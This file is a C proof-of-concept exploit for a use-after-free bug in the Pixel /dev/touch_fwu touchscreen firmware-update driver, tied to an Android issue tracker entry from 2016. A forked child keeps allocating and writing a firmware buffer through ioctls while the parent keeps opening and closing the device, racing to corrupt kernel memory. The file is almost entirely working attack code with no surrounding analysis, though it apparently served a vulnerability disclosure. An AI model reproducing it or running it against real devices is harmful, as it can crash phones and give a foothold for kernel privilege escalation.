/*
 * https://code.google.com/p/android/issues/detail?id=227736
 * the poc was tested in pixel : google/sailfish/sailfish:7.1/NDE63L/3273814:user/release-keys
 * chengjia4574@gmail.com
 * 20161115
*/
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>
#include <linux/if_tun.h>
#include <netinet/in.h>
#include <net/if.h>

#define TOUCH_FWU_IOCTL_CODE                    (0x81)
#define FW_UPDATE_PROCCESS                      _IO(TOUCH_FWU_IOCTL_CODE, 1)
#define FW_FILE_SIZE                            _IOW(TOUCH_FWU_IOCTL_CODE, 2, uint32_t)
#define FW_FILE_REQUEST                         _IO(TOUCH_FWU_IOCTL_CODE, 3)
#define FW_LOAD_DONE                            _IO(TOUCH_FWU_IOCTL_CODE, 4)
#define FW_UPDATE_BYPASS                        _IO(TOUCH_FWU_IOCTL_CODE, 5)

#define SIZE 64  
void malloc_buf(int fd)
{
        int ret, cmd;

        cmd = FW_FILE_SIZE;
        ret = ioctl(fd, cmd, SIZE);
        if(ret<0) {
                printf("ioctl fail %s\n",strerror(errno));
                return;
        }
        printf("set size = %d ok\n",SIZE);

        cmd = FW_FILE_REQUEST;
        ret = ioctl(fd, cmd, NULL);
        if(ret<0) {
                printf("ioctl fail %s\n",strerror(errno));
                return;
        }
        printf("malloc buf ok\n");
}

void use_buf(int fd)
{
        int ret; 
        char buf[SIZE] = {0};
        ret = write(fd, buf, SIZE);
        if(ret<0) {
                printf("write fail %s\n",strerror(errno));
        } else printf("succ write %d byte\n",ret);
        return 0;

}

void free_buf()
{
	char* path = "/dev/touch_fwu";
	int fd;
	fd = open(path, O_RDWR);
	if(fd<0) {
		printf("open %s fail %s\n",path, strerror(errno));
		return -1;
	}
	close(fd);
}

void malloc_and_use_buf(int fd)
{
	malloc_buf(fd);
	use_buf(fd);
}

void test_uaf()
{
	pid_t pid;
	int i = 0;
	char* path = "/dev/touch_fwu";
	int fd;
	fd = open(path, O_RDWR);
	if(fd<0) {
		printf("open %s fail %s\n",path, strerror(errno));
		return -1;
	}
	printf("open %s succ\n",path);


	pid = fork();

	if(pid < 0) {
		printf("fork %d fail\n",i);
	} else if(pid == 0) {
		while(1) {
			malloc_and_use_buf(fd);
		}
	} else {
		while(1) {
			free_buf();
		}
	} 

	printf("fork done!\n");
	close(fd);
}


	int
main(int argc, char *argv[])
{
	test_uaf();	
	return 0;
}
